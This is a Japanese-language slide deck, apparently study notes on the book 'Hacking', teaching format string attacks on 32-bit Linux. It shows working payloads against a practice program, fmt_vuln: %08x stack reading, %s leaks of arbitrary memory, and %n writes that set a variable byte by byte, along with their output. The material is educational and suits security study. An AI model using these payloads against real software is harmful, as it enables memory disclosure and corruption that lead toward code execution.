More Related Content Similar to Summary of "Hacking", 0x351-0x354 (20) Summary of "Hacking", 0x351-0x3542. 概要
• 攻撃の対象
– printf 関数を誤用しているプログラム
• 攻撃手法
– 入力した攻撃用文字列が printf の書式文字列と
して使われるように細工する
– %n などの書式指定子を悪用して、メモリの中身を
見たり、メモリを書き換えたりする
1
3. 前提
• Linux x86 (32bit)
• 最近のカーネルのセキュリティ機能 (アドレス空
間配置ランダム化など) をあらかじめ切っておく
• 具体的なアドレス等は、宮川の環境で試したも
のです。テキストとは異なるので注意して下さい
2
$ # Xubuntu 12.04 LTS の場合
$ sudo -i
# echo 0 >/proc/sys/kernel/randomize_va_space
5. 0x351 printf 関数の使い方
• int printf(const char *format, ...);
• 最初の引数 format が書式文字列
(例: "No. %d is %s¥n")
• 書式指定子に対応する引数の値を表示
4
int num = 42;
const char *name = "John Doe";
printf("No. %d is %s¥n", num, name);
// => No. 42 is John Doe
6. 0x351 printf の書式指定子の例
書式指定子 対応する引数の型 意味
%d int 符号付き十進数として表示
%x int 符号なし十六進数として表示
%08x int 符号なし十六進数として表示。8桁未満の
場合は左ゼロ詰め (例: 00000abc)
%s const char * 指定されたアドレスから始まる文字列を表
示
%n int * 指定されたアドレスに「これまで出力された
バイト数」を格納。何も出力しない
5
7. 0x351 printf 使用時のメモリイメージ
6
int main(void) {
int num = 0xcafe, count;
printf("Num %d%n¥n", num, &count); // 下図はこの呼び出し時点
return 0;
}
12341234 "Num " = 0x206d754e
12341238 "%d%n" = 0x6e256425
1234123c "¥n¥0??" = 0x????000a
babe0000 (printf のローカル変数とか)
babe0004 書式文字列のアドレス: 0x12341234
babe0008 0x0000cafe
babe000c count のアドレス: 0xbabe0010
babe0010 変数 count
babe0014 変数num: 0x0000cafe
babe0018 (main の呼び出し元のローカル変数とか)
書式文字列 "Num %d%n¥n"
4 バイトずつ整数として見
ると、順番がひっくり返っ
て見える。 x86 はリトルエ
ンディアンだから
スタック
※ 変数をレジスタ化したり、レジスタを退避したりするので、実際の
メモリ配置とは違うはずです。だいたいの絵だと思ってください
8. 0x351 書式文字列と引数の不一致
• 書式指定子の数が後続の引数より多いと、不
明な値が表示されてしまう
7
// p. 195 のリスト
int A = 5, B = 7;
printf("A: %d addrA: %08x B: %x¥n", A, &A);
// => A: 5 addrA: bf4219ad B: bcda2fd2
"A: %d addrA: %08x B: %x¥n" のアドレス
5
Aのアドレス: 0xbf4219ad
不明な値: 0xbcda2fd2
不明な値: main の戻りアドレスとか
%x に対応する位置にある不明
な値が表示されてしまう
%x に対応する引数が無い
スタック
9. 0x352 攻撃のアイディア
• fgets(stdin, str, 100); printf(str); のように、入
力された文字列を printf の書式文字列にその
まま渡す行儀の悪いプログラムが攻撃対象
• 攻撃者は、書式指定子 (%08x) を含む文字列
を入力して、スタックの先頭付近を盗み見る
8
10. 0x352 スタック先頭付近を盗み見る
9
// p. 196 攻撃対象 fmt_vuln.c の中で、問題の部分を抜粋
char text[1024]; // ローカル変数なのでスタック上に確保される
strcpy(text, argv[1]);
printf(text);
$ ./fmt_vuln `perl -e 'print "%08x." x 40'`
...
bfffed6c.6474e552.0011965d.00145baf.001105dc.00001e40.bffff214.bfffefbc.00000000.00
000001.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.302
52e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.7838
3025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7
838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.
...
%08x.%08x.%08x... という文字列を
生成して渡している
text のアドレス
... 退避レジスタ等 ...
text: "%08x" = 0x78383025
text + 4: ".%08" = 0x3830252e
text + 8: "x.%0" = 0x30252e78
スタックの底の方を、 %08x に対応
する値として表示させている。底の方
には main のローカル変数 text の実
体があるので、書式文字列自体が
16 進数の並びとして表示される
スタック
11. 0x353 攻撃のアイディア
• 攻撃対象は 0x352 と同様、ユーザの入力を
printf の書式文字列として使うプログラム
• 攻撃者は、次のような文字列を入力して、任
意のアドレス以降のメモリの内容を文字列とし
て表示させる
10
"<対象のアドレス (4バイト)>%08x%08x...%08x%s"
対象のアドレスが格納されている位置
を %s に対応させるため、 %08x を埋め
草として調節
12. 0x353 必要な埋草の数を調べる
• %08x の数を調節して、次のような出力を得る
11
$ ./fmt_vuln AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
...
AAAAbfffedfc.6474e552.0011965d.00145baf.001105dc.00001e40.bffff2a4.bffff04c.000000
00.00000001.41414141
...
%08x → text - 8: 0x00000000
%08x → text - 4: 0x00000001
%08x → text: "AAAA" = 0x41414141
最後の %08x がここに対応
スタック
13. 0x353 任意のメモリ内容を表示
• 前ページのコマンドから次の箇所を変更
– "AAAA" → 対象のアドレス
– 最後の %08x → %s
12
$ ./fmt_vuln `printf "¥x8c¥xfc¥xff¥xbf"`%08x.%08x.(省略).%08x.%08x.%08x.%08x.%s
...
����bfffedfc.6474e552.0011965d.00145baf.001105dc.00001e40.bffff2a4.bffff04c.000
00000.00000001./home/taku/bin:/usr/local/bin:/usr/bin:/bin
...
今回はあらかじめ調べた
PATH 環境変数のアドレス
%08x → text - 8: 0x00000000
%08x → text - 4: 0x00000001
%s → text: "¥x8c¥xfc¥xff¥xbf" = 0xbffffc8c
bffffc8c "/hom"
bffffc90 "e/ta"
bffffc94 "ku/b"
... ...
PATH 環境変数スタック
%s は対応する値を文字列のアドレスとみなし、
その文字列 (ここでは $PATH) を表示する
$PATH の内容
14. 0x354 攻撃のアイディア
• 攻撃対象は 0x352, 0x353 と同様、ユーザ入
力を printf の書式文字列として使うプログラム
• 攻撃者は、次のような文字列を入力して、任
意のアドレスにデータを書き込む
13
"<対象のアドレス (4バイト)>%x%x...%042x%n"
• 対象のアドレスが格納されている位置を %n に対応させるた
め、 %x を埋め草として調節
• 目的の数値を得るため、 %042x のように出力バイト数を調
節。 %n 直前までの出力バイト数が対象のアドレスに書き込まれる
※ テキストでは %42x とスペース埋めですが、分かり易さのため、 0 埋めに変更しています
15. 0x354 任意位置に書き込み (1/6)
• 0x353 のコマンドから次の箇所を変更
– 先頭 4 バイト → 書き込み先アドレス
– 最後の %s → %n
14
今回はあらかじめ調べた
test_val 変数のアドレス
$ ./fmt_vuln `printf "¥x24¥xa0¥x04¥x08"`%08x.%08x.(省略).%08x.%08x.%08x.%08x.%n
...
��bfffedfc.6474e552.0011965d.00145baf.001105dc.00001e40.bffff2a4.bffff04c.0000000
0.00000001.
[*] test_val @ 0x0804a024 = 94 0x0000005e
%08x → text - 8: 0x00000000
%08x → text - 4: 0x00000001
%n → text: "¥x24¥xa0¥x04¥x08" = 0x0804a024
スタック
0804a024 94 = 0x0000005e
test_val 変数
%n は対応する値を int 値のアドレスとみなし、その
アドレスに、そこまでに表示したバイト数を書き込む
94 バイト出力
16. 0x354 任意位置に書き込み (2/6)
• 0 埋めの数を調節することで、出力文字数を
調節し、書き込むデータが制御できる
15
$ ./fmt_vuln `printf "¥x24¥xa0¥x04¥x08"`%x.%x.%x.%x.%x.%x.%x.%x.%x.%031x.%n
...
��bfffee0c.6474e552.11965d.145baf.1105dc.1e40.bffff2b4.bffff05c.0.000000000000000
0000000000000001.
[*] test_val @ 0x0804a024 = 100 0x00000064
%x → text - 8: 0x0
%031x → text - 4: 0x0000...00001
%n → text: "¥x24¥xa0¥x04¥x08" = 0x0804a024
スタック
0804a024 100 = 0x00000064
test_val 変数
100 バイト出力
17. 0x354 任意位置に書き込み (3/6)
• この手法の問題点
– 現実的には、比較的小さな、正の値しか書き込め
ない
– たとえば、100000000 という値を書き込もうと思っ
たら、 100000000 文字出力する必要がある
→ 事実上不可能
16
18. 0x354 任意位置に書き込み (4/6)
• 解決策: 大きな値は 1 バイトずつ複数回書き込む
• 例: test_val に 0xddccbbaa を書き込む
17
① 170 = 0xaa バイト出力
② %n で 0804a024 に 0xaa を書き込み AA 00 00 00
③ 17 バイト出力 (通算 0xbb バイト出力)
④ %n で 0804a025 に 0xbb を書き込み BB 00 00 00
⑤ 17 バイト出力 (通算 0xcc バイト出力)
⑥ %n で 0804a026 に 0xcc を書き込み CC 00 00 00
⑦ 17 バイト出力 (通算 0xdd バイト出力)
⑧ %n で 0804a027 に 0xdd を書き込み DD 00 00 00
最終的な test_val = 0xddccbbaa AA BB CC DD
↓ test_val の先頭 (0804a024)
19. 0x354 任意位置に書き込み (5/6)
• %n と %n の間に %017x を挟んで出力バイト
数を加算する
18
$ ./fmt_vuln `printf "¥x24¥xa0¥x04¥x08JUNK¥x25¥xa0¥x04¥x08JUNK¥x26¥xa0¥x04¥x08JU
NK¥x27¥xa0¥x04¥x08"`%x.%x.%x.%x.%x.%x.%x.%x.%x.%077x.%n%017x%n%017x%n%017x%n
...
��JUNK%�JUNK&�JUNK'�bfffeddc.6474e552.11965d.145baf.1105dc.1e40.bffff284.bffff02c.
0.000<...省略...>000001.0000000004b4e554a0000000004b4e554a0000000004b4e554a
[*] test_val @ 0x0804a024 = -573785174 0xddccbbaa
%x → text - 8: 0x00000000
%077x → text - 4: 0x0000...000001
%n → text: "¥x24¥xa0¥x04¥x08" = 0x0804a024
%017x → text + 4: "JUNK" = 0x0000000004b4e554a
%n → text + 8: "¥x25¥xa0¥x04¥x08" = 0x0804a025
...
スタック
"IMHO" でも "ASAP" でも、
4 バイトならなんでも OK
20. 0x354 任意位置に書き込み (6/6)
• 例: test_val に 0x0806abcd を書き込む
• 隣り合うバイト間の増分が cd, ab の様にマイナスだったり、 06,
08 の様に小さかったりする
→ 増分に加えて 256 (0x100) 文字余計に書き込む
19
① 205 = 0xcd バイト出力
② %n で 0804a024 に 0xcd を書き込み CD 00 00 00
③ 222 バイト出力 (通算 0x1ab バイト出力)
④ %n で 0804a025 に 0x1ab を書き込み AB 01 00 00
⑤ 91 バイト出力 (通算 0x206 バイト出力)
⑥ %n で 0804a026 に 0x206 を書き込み 06 02 00 00
⑦ 258 バイト出力 (通算 0x308 バイト出力)
⑧ %n で 0804a027 に 0x308 を書き込み 08 03 00 00
最終的な test_val = 0x0806abcd CD AB 06 08 (03) (00) (00)
↓ test_val の先頭 (0804a024)
余計な上位バイトは
後で上書きされる
21. 実現性について考察 (宮川)
• アドレス空間配置のランダム化が有効な場合、
0x353, 0x354 の攻撃は難易度が上がる。しか
し、当たりをつけておいて、多くの試行を繰り返
すことで、突破は可能と思われる
• x86_64 では、 0x353, 0x354 の攻撃はおそらく
不可能。ユーザ空間のアドレスが
0 ~ 0x00007fffffffffff であり、上位バイトに必
ず 0 が存在するため、文字列として渡すことが
できない (C の文字列は 0 終止)
20